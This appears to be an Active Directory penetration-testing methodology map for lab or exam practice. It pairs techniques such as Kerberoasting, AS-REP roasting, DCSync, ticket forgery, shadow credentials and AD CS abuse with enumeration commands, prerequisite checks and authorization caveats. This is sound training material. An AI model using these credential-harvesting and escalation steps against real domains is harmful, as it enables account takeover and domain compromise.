Protecting user: USER_SID Credential target: TARGET_HOST Available artifact: protected blob; plaintext not shown
Validate prerequisites and compare methods
Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor
cmdkey /list
whoami /all
What did you find?
Enabled: Matching protection factors decrypt the material or the intended consumer works: use that bounded capability.
Ruled out here: Only a blob from an unrelated user is present without its required factors: reject the current decryption route.
Unresolved: A cmdkey listing without usable context does not establish a password.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Recover Windows application, history and stored-credential artifacts — Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries
Requires: Artifact read permission and exact protecting identity/context for saved or DPAPI material
Parse an offline domain database or select a justified remote collection pathNot inspectedAn already controlled DC or a validated privileged domain collection context
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
file NTDS.dit SYSTEM.save
Read the result
A database/key pair is an offline source candidate; remote DRS requires a different permission chain.
Still check: Verify same-source consistency and access, or independently validate the exact replication/remote collection prerequisites.
Illustrative output
NTDS.dit: database artifact SYSTEM.save: registry artifact Same DC/consistent snapshot: must be verified
Validate prerequisites and compare methods
Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method
file NTDS.dit SYSTEM.save
What did you find?
Enabled: The consistent offline pair parses into account-labelled material: choose classification/reuse.
Ruled out here: Only administrator access on a member server exists: reject the assumed domain-database/replication access.
Unresolved: Two filenames without provenance do not prove a matched usable source.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use validated directory replication rights for bounded credential proof — A principal has the relevant effective replication rights at the domain naming context
Requires: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient
Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Conditional: understand a realm-wide TGT forgery from KRBTGT material — An already compromised domain exposes a KRBTGT key and domain SID
Requires: Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior
Request AS-REP material for an account without preauthenticationNot inspectedA known user or directory flag indicates Kerberos preauthentication is disabled
Starting access: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery
Discover the clue
Get-DomainUser -Properties samaccountname,useraccountcontrol |
Select-Object samaccountname,@{n='UAC';e={[int]$_.useraccountcontrol}} |
Where-Object { ($_.UAC -band 0x400000) -ne 0 }
Read the result
The DONT_REQUIRE_PREAUTH bit is set. Test the bit, not equality to one whole decimal value, because other flags coexist.
Still check: Check account state, KDC route, response/encryption type and feasible recovery; no-password discovery requires a real known username.
Illustrative output
samaccountname UAC TARGET_USER 4194816 Bit 0x400000: set
Validate prerequisites and compare methods
Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ
impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP
What did you find?
Enabled: The selected enabled account returns the supported AS-REP artifact: choose its offline recovery path.
Ruled out here: The KDC requires preauthentication for that account: reject AS-REP roasting for that identity.
Unresolved: An unknown user or KDC timeout says nothing about the preauthentication setting.
Show connections
These are conditional possibilities. Check the named condition before moving.
Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
Request a selected service ticket for offline service-account recoveryNot inspectedA user-owned SPN and a useful service-account relationship
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof
Read the result
A user-owned SPN supplies the account key targeted by a service ticket and a reason to assess password-recovery feasibility.
Still check: Verify valid KDC context, selected account/SPN, returned encryption type, password model and useful resulting rights.
Illustrative output
samaccountname: SERVICE_USER serviceprincipalname: HTTP/TARGET_HOST object type: user
Validate prerequisites and compare methods
A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
What did you find?
Enabled: The selected ticket artifact is supported and recovery is justified: choose the matching offline mode.
Ruled out here: The candidate has no SPN and no SPN-write right: reject ordinary/targeted roasting for this account.
Unresolved: SPN presence alone leaves weak password and eventual host access unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient
Create a temporary SPN through an effective object rightNot inspectedA controlled principal can write a user's servicePrincipalName
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainUser -Identity TARGET_USER -Properties serviceprincipalname
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Read the result
A specific writable SPN property on a useful user can create a ticket-request opportunity.
Still check: Verify trustee/effective property scope, enabled account, unique temporary SPN, KDC context and exact restoration.
Illustrative output
Existing SPNs: none Effective trustee: CONTROLLED_GROUP Potential right: write servicePrincipalName
Validate prerequisites and compare methods
Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
setspn -L TARGET_USER
What did you find?
Enabled: The permitted temporary SPN produces the selected artifact and is removed: use the targeted recovery method.
Ruled out here: The ACE does not apply to this property/object: reject the proposed SPN modification.
Unresolved: A stale GenericWrite graph edge without current ACE verification is insufficient.
Show connections
These are conditional possibilities. Check the named condition before moving.
Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Inventory, convert and import tickets in the correct logon contextNot inspectedA valid ticket/cache or a long-term key that can request a TGT
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
klist
Read the result
A current TGT can request appropriate service tickets if the KDC/name route and account context work.
Still check: Distinguish TGT from TGS, format, logon-session scope, lifetime, SPN and destination authorization.
Illustrative output
Client: USER @ REALM Server: krbtgt/REALM @ REALM Valid end time: FUTURE_TIME
Validate prerequisites and compare methods
Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
klist
What did you find?
Enabled: The matching service accepts the selected ticket context: choose that scoped operation.
Ruled out here: Only an unrelated expired service ticket exists: reject it for the proposed destination.
Unresolved: Successful import with no service action leaves usable access unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Forge a service-scoped ticket from the correct service key — A service account key and a concrete compatible service/SPN objective
Requires: Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use
Forge a service-scoped ticket from the correct service keyNot inspectedA service account key and a concrete compatible service/SPN objective
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
setspn -Q SERVICE/TARGET_HOST
whoami /user
klist
Read the result
The key must protect the intended service ticket; an arbitrary user's NT hash is not sufficient.
Still check: Verify key type/current value, domain SID, principal/SPN, validation behavior and accepted target action.
Illustrative output
SERVICE/TARGET_HOST belongs to SERVICE_ACCOUNT Available key source: that service account Domain SID: recorded separately
Validate prerequisites and compare methods
Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use
whoami /user
klist
setspn -Q SERVICE/TARGET_HOST
What did you find?
Enabled: A correctly scoped ticket is accepted by the intended service: use only that verified service effect.
Ruled out here: The key belongs to a different account/SPN or is outdated: reject the forgery.
Unresolved: Ticket creation alone does not settle modern PAC/service validation.
Show connections
These are conditional possibilities. Check the named condition before moving.
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Reset a target account password through a validated directory rightNot inspectedA controlled trustee has the effective password-reset right on a useful account
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Read the result
An applicable reset operation changes a target credential; it does not reveal the old password.
Still check: Validate effective membership, protection/account state, account utility and the authorized impact of a disruptive reset.
Illustrative output
Trustee: CONTROLLED_GROUP Right: ExtendedRight Resolved operation: password reset Target: TARGET_USER
Validate prerequisites and compare methods
Exact object/right and account state; the disruptive password change is justified within the assigned lab objective
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Get-DomainUser -Identity TARGET_USER
What did you find?
Enabled: The right applies and the authorized new credential is accepted: follow that identity's actual rights.
Ruled out here: Only an unrelated property-write right applies: reject password reset through this ACE.
Unresolved: An unresolved extended-right GUID or stale group edge needs effective-right resolution first.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Add a controlled identity to a group through effective membership rightsNot inspectedA group member-attribute write or equivalent effective right
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs
Read the result
A membership-write operation can grant a defined group capability once new logon/token state reflects it.
Still check: Verify effective right, actual group-derived authorization, nesting/token refresh and restoration.
Illustrative output
Target group: ACCESS_GROUP Effective permitted operation: write member Controlled account: not currently a member
Validate prerequisites and compare methods
Exact target group, controlled principal, useful resulting right and a fresh token/logon context
Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs
What did you find?
Enabled: The membership and a fresh context enable the intended service action: choose the group transition.
Ruled out here: The writable attribute is not member or the group grants no intended right: reject that chain.
Unresolved: Directory modification without refreshed/accepted authorization leaves practical effect unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Convert ownership or DACL control into a narrower useful rightNot inspectedEffective WriteOwner or WriteDacl on a useful directory object
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
Read the result
Ownership/DACL control may enable a narrower useful ACE; it is an intermediate capability.
Still check: Validate actual owner semantics, deny/protected-object behavior, ability to grant the next right and original-state restoration.
Illustrative output
Trustee: CONTROLLED_PRINCIPAL Effective right candidate: WriteOwner or WriteDacl
Validate prerequisites and compare methods
Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
What did you find?
Enabled: The intermediate operation and narrow effective right are established: follow the linked reset/group/SPN method.
Ruled out here: The ACE targets another object scope or is ineffective for this trustee: reject that route.
Unresolved: WriteOwner text alone does not prove every later DACL modification succeeds.
Show connections
These are conditional possibilities. Check the named condition before moving.
Reset a target account password through a validated directory right — A controlled trustee has the effective password-reset right on a useful account
Requires: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective
Add a controlled identity to a group through effective membership rights — A group member-attribute write or equivalent effective right
Requires: Exact target group, controlled principal, useful resulting right and a fresh token/logon context
Create a temporary SPN through an effective object right — A controlled principal can write a user's servicePrincipalName
Requires: Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup
Use validated directory replication rights for bounded credential proofNot inspectedA principal has the relevant effective replication rights at the domain naming context
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs
Read the result
Replication rights at the domain scope are the relevant clue; local administrator rights on a member host are different.
Still check: Verify the complete effective replication rights for selected data, trustee membership, DC/RPC route and identity context.
Illustrative output
Applicable domain ACEs: DS-Replication-Get-Changes DS-Replication-Get-Changes-All Trustee: CONTROLLED_PRINCIPAL
Validate prerequisites and compare methods
Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient
Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs
What did you find?
Enabled: The required rights and route produce the bounded selected-account proof: choose DRS replication.
Ruled out here: The ACE applies only to a user/OU or lacks required replication rights: reject DCSync.
Unresolved: Unresolved GUIDs or RPC filtering leave rights/access separately unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance
Conditional: trace GPO control to privileged policy consumptionNot inspectedA useful linked GPO has a potentially controllable directory or SYSVOL component
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainGPO
Get-DomainOU | Select-Object name,gplink
Read the result
A linked policy supplies a potential privileged consumer only for hosts to which it actually applies.
Still check: Check both needed policy components, effective ACEs, security/WMI filtering, target scope and refresh trigger.
Illustrative output
OU: TARGET_OU gPLink: POLICY_GUID Potential GPO control: inspect directory and file components
Validate prerequisites and compare methods
Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger
Get-DomainGPO
Get-DomainOU | Select-Object name,gplink
What did you find?
Enabled: The controlled policy is consumed on the intended host and effect verified: choose this conditional route.
Ruled out here: The target is excluded by policy filtering: reject that policy-to-host chain.
Unresolved: A writable GPO object without linked/applicable file-consumer evidence remains incomplete.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Control scheduled tasks, startup files or autostart consumers — A task/startup action consumes a writable command, file, directory or registry value
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger
Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities
Conditional: use a validated delegation or RBCD relationshipNot inspectedDelegation configuration or computer-object write suggests a Kerberos impersonation path
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Read the result
A delegation flag opens a configuration investigation; unconstrained, constrained and RBCD require different relationships.
Still check: Identify exact delegation type, controlled service/machine key, target SPN, relevant account flags and KDC acceptance.
Illustrative output
Computer: TARGET_HOST Delegation-related flag: present Target service and controlled key: not yet established
Validate prerequisites and compare methods
Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
What did you find?
Enabled: The complete matching relationship yields an accepted service ticket: use that service-scoped conditional path.
Ruled out here: The required service identity/key or allowed target is missing: reject that chain.
Unresolved: A generic delegation label without actual attributes/keys leaves impersonation unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Conditional: validate an AD CS enrollment-to-authentication pathNot inspectedA CA/template configuration exposes a plausible certificate identity transition
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled
Read the result
The conjunction of purpose, subject control and effective enrollment rights is a candidate; issuance and identity mapping are separate gates.
Still check: Check exact template/CA rights/settings, approval/signatures, required key, current mapping and authenticatable identity.
Illustrative output
Template: TEMPLATE_NAME Client Authentication: enabled Subject control: candidate setting Enrollment rights: GROUP Approval/identity mapping: inspect
Validate prerequisites and compare methods
Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path
certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled
What did you find?
Enabled: Issuance and intended account authentication are verified: use the certificate capability.
Ruled out here: Approval, denied enrollment or hardened mapping prevents the proposed transition: reject that route.
Unresolved: An ESC scanner label without the full effective configuration remains unconfirmed.
Show connections
These are conditional possibilities. Check the named condition before moving.
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Conditional: understand a realm-wide TGT forgery from KRBTGT materialNot inspectedAn already compromised domain exposes a KRBTGT key and domain SID
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
klist
whoami /user
Read the result
KRBTGT key exposure is the enabling post-compromise condition; an ordinary NT hash or unrelated ticket cannot substitute.
Still check: Verify current cryptographic material/version, realm/SID/principal, time and actual service validation; retain recovery/cleanup scope.
Illustrative output
Private source classification: KRBTGT key, not ordinary service key Domain SID/realm: recorded Test service: explicitly scoped
Validate prerequisites and compare methods
Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior
klist
whoami /user
What did you find?
Enabled: The authorized isolated-lab ticket is accepted for the intended action: document the domain-key impact.
Ruled out here: Only an ordinary service-account key is available: reject realm-wide TGT forgery.
Unresolved: A file labelled KRBTGT without source/version verification leaves the key claim unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Capture state-transition, proof and exploit-adaptation evidence — Access, privilege, identity or route changes, or a report will need reproduction
Requires: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance
S02 · Read a classic LAPS password for one computerNot inspected
- Enter: a specific computer object is relevant and the current directory principal may read
ms-Mcs-AdmPwd. - Discover: identify the computer object and test the attribute read; merely enumerating the object is not enough.
- Validate: the returned value is present, current and scoped to that computer’s managed local account; identify the intended local username and destination service separately.
- Execute: Delegated LAPS/gMSA reads.
- Verify: validate the password on one compatible service using explicit local-account context, then prove the specific permitted operation. Password acceptance does not prove local administration or remote execution.
- Outcomes: readable current value → D17/D29; attribute denied/absent for this principal/object → ruled out here; schema, replication freshness or object identity unresolved → inconclusive.
S03 · Read or decrypt a Windows LAPS passwordNot inspected
- Enter: a relevant computer uses Windows LAPS and the principal may read
msLAPS-Passwordor decrypt the protected value. - Discover: query the exact computer attribute and record whether the result is plaintext JSON, encrypted content, empty or denied.
- Validate: plaintext/decryption rights, password age, managed account name and host scope. An encrypted blob without the permitted decryption context is not a password.
- Execute: Delegated LAPS/gMSA reads.
- Verify: validate only against the named host and intended local account, then establish the actual service capability.
- Outcomes: usable current password → D17/D29; no read/decrypt right → ruled out here; returned protected data but decryption context unknown → inconclusive.
S04 · Recover and classify gMSA materialNot inspected
- Enter: a specific gMSA is used by a relevant service and the current identity may read
msDS-ManagedPassword. - Discover: inspect the gMSA object and allowed managed-password readers; distinguish a raw blob from a decoded NT hash.
- Validate: exact account name including
$, managed-password read permission, working LDAPS/tool path, decoded representation and intended service/host. - Execute: Raw and decoded gMSA checks.
- Verify: test one service compatible with the decoded material and record the exact accepted identity and operation. Authentication is not administrative execution.
- Outcomes: decoded material accepted for the intended identity → D17/D29; read denied or wrong object type → ruled out here; raw blob, TLS failure or empty output → inconclusive.
S05 · Use a validated shadow-credential pathNot inspected
- Enter: the effective principal can write the target object’s
msDS-KeyCredentialLink, and the assigned lab permits the object change. - Discover: list existing key credentials before mutation and preserve their identifiers.
- Validate: target identity, exact effective write right, DC PKINIT/key-trust support, DNS/time/KDC route, certificate tooling and a cleanup route.
- Execute: Shadow credentials — add, authenticate and remove only the added DeviceID.
- Verify: establish the cached target principal and one intended service action; then confirm that only the newly added key credential was removed.
- Outcomes: target TGT/service capability established → D28/D29; effective write or PKINIT prerequisite disproved → ruled out here; write succeeds but certificate/KDC mapping is unresolved → D31/inconclusive.
S06 · Authenticate to LDAP with a mapped certificateNot inspected
- Enter: you possess a certificate and private key plausibly mapped to an AD identity, and LDAP over TLS is reachable.
- Discover: identify certificate subject/SAN/EKU, trust chain, private-key availability and the DC TLS path.
- Validate: the certificate maps to the intended principal, the private key matches, Schannel authentication is accepted and the mapped identity has the exact object right required by the intended LDAP operation.
- Execute: PassTheCert identity check and LDAP shell.
- Verify:
whoami/bind establishes only the mapped LDAP identity; separately verify the selected LDAP read or write and its object state. - Outcomes: mapped identity and permitted object operation confirmed → D26; mapping/trust/private key disproved → ruled out here; PKINIT fails while Schannel remains untested, or TLS errors mask mapping → inconclusive.
S07 · Create a controlled machine account only for a selected AD pathNot inspected
- Enter: a validated RBCD/delegation path needs a service principal or machine key you control.
- Discover: inspect machine-account quota, target OU/container ACL, existing names and whether the current identity can create the account in the intended location.
- Validate: the downstream path actually needs this principal, the resulting SPNs/key will be usable, target-object rights are independently present, and cleanup/deletion rights are understood.
- Execute: Powermad machine-account creation.
- Verify: confirm the created object, its SPNs and controlled key; do not record RBCD or target access until the separate delegation operation and service ticket succeed.
- Outcomes: controlled principal created for an already validated receiver path → D27; quota/ACL/name condition fails → ruled out here; object exists but downstream target right is missing → retain only the machine-account capability.
S08 · Evaluate DNSAdmins without assuming immediate executionNot inspectedDiscovery / validation only · action procedure pending
- Enter: the controlled principal is a direct/effective DNSAdmins member or has equivalent DNS-server configuration rights.
- Discover: identify the actual DNS server, DNS service state/identity and service ACL from the current authorized source.
- Validate: effective configuration permission, product/build behavior, a usable plugin/configuration operation, payload delivery path and a separately authorized restart trigger. A restart on a DC is disruptive and is never a discovery probe.
- Execute: DNSAdmins condition checks.
- Verify: current content supports only membership/service/trigger investigation. A complete plugin execution and cleanup procedure is not registered; see RW01.
- Outcomes: all prerequisites identified → ready for a separately reviewed procedure; membership absent/effective right denied → ruled out here; group present but configuration or trigger unknown → inconclusive.
S09 · Map WSUS client policy to a server-side authorization questionNot inspectedDiscovery / validation only · action procedure pending
- Enter: host policy or traffic indicates the machine uses WSUS.
- Discover: read
WUServer,WUStatusServerandUseWUServer; record URL, port, TLS and actual source reachability. - Validate: authenticated access to the identified server, update-approval/content/signing/deployment rights, target group scope and the privileged client consumer. Client configuration alone supplies none of those rights.
- Execute: WSUS client authority discovery.
- Verify: this state produces a named update authority and a missing-rights checklist, not code execution. A complete update-deployment procedure is not registered; see RW02.
- Outcomes: authority plus exact server-side control established → ready for a separately reviewed procedure; server rights denied → ruled out here; registry values absent or server role unknown → inconclusive.
S10 · Recognize SCCM client context and locate the management boundaryNot inspectedDiscovery / validation only · action procedure pending
- Enter:
CcmExec,SMS_Clientor readable client configuration indicates Configuration Manager. - Discover: identify client state, assigned site, management point and reachable authenticated interfaces.
- Validate: SMS Provider/site-server authorization, deployment or CMPivot rights, relevant collection scope and any specifically readable credential source. Client presence does not imply server rights.
- Execute: SCCM client recognition checks.
- Verify: this state establishes product/site context only. A complete SCCM rights-to-action procedure is not registered; see RW03.
- Outcomes: exact management interface and relevant permission found → ready for a separately reviewed procedure; no applicable server permission → ruled out here; namespace access denied or site/role unresolved → inconclusive.
S16 · Inspect VSS/shadow-copy credential-source conditionsNot inspectedDiscovery / validation only · action procedure pending
- Enter: you control a Windows Server/DC context where offline credential material is relevant and the token may hold administrative or backup rights.
- Discover: inspect
whoami /priv,vssadmin list shadows, thendiskshadow→list shadows all. - Validate: establish platform, exact volume, existing-versus-new snapshot, read rights, matched
NTDS.ditand SYSTEM-hive requirement, output destination and cleanup authority. - Execute: shadow-copy boundary checks. Creating/exposing/deleting a shadow and acquiring the matched files remain unavailable until RW08 is complete.
- Verify: listing proves only snapshot metadata. Credential acquisition requires readable, point-in-time-compatible NTDS/SYSTEM material and successful offline parsing.
- Outcomes: suitable existing snapshot and read path identified → ready for RW08 procedure; platform/rights/volume/source decisively incompatible → ruled out here; snapshot listed but access/freshness/matching hive unresolved → inconclusive.
- Source: Microsoft DiskShadow.
S19 · Separate an unconstrained-delegation flag from tickets actually presentNot inspected
- Enter: a computer/service account has
TrustedForDelegation/unconstrained delegation and the selected host/session context is accessible. - Discover: confirm the account/SPNs and inspect the actual selected ticket cache with
klistorRubeus.exe triagein the permitted context. - Validate: ticket owner, realm, service/TGT type, validity, logon-session/LUID access, export/cache compatibility and the exact receiving service. A delegation flag without a cached client ticket is only configuration.
- Execute: when a relevant ticket already exists, use the ticket classification and cache procedure and movement preflight. Forced/coerced authentication remains unavailable under RW11.
- Verify: prove one named service action under the ticket principal, then preserve the host/LUID/cache scope. Do not record a password, hash or domain-wide privilege.
- Outcomes: usable cached ticket accepted by the named service → D28/D29; no relevant ticket in the inspectable context → current cached-ticket path ruled out; inaccessible LUID, stale ticket or ambiguous principal → inconclusive.
Move to another host
Match route, destination service and effective authorizationNot inspectedA credential appears valid but the destination's usable access is unknown
Starting access: Identified authentication material, destination service reachability and a candidate authorized identity
Discover the clue
nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST
Read the result
SMB/RPC are transport candidates while WinRM is not yet reachable; dynamic RPC and authorization are still untested.
Still check: Probe the destination from the real source. Check DNS/service names and each required SMB/RPC/WinRM endpoint, then test effective service authorization. An open port and an accepted password do not establish a working remote execution method.
Illustrative output
445/tcp open microsoft-ds 135/tcp open msrpc 5985/tcp filtered wsman
Validate prerequisites and compare methods
Real source-to-service route, correct identity context and protocol-specific execution/logon rights
nmap -Pn -sT -p 135,445,3389,5985,5986 TARGET
getent hosts TARGET_HOST
What did you find?
Enabled: One compatible service accepts the identity and authorized operation: choose that movement mechanism.
Ruled out here: The intended protocol is conclusively unavailable from this source: reject that route/service combination.
Unresolved: Open 135 does not settle dynamic RPC; an SMB admin indicator does not settle WMI/WinRM/RDP.
Show connections
These are conditional possibilities. Check the named condition before moving.
Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context
Execute through WMI or native CIM over DCOM — A destination exposes WMI/DCOM and the identity has useful namespace/process rights
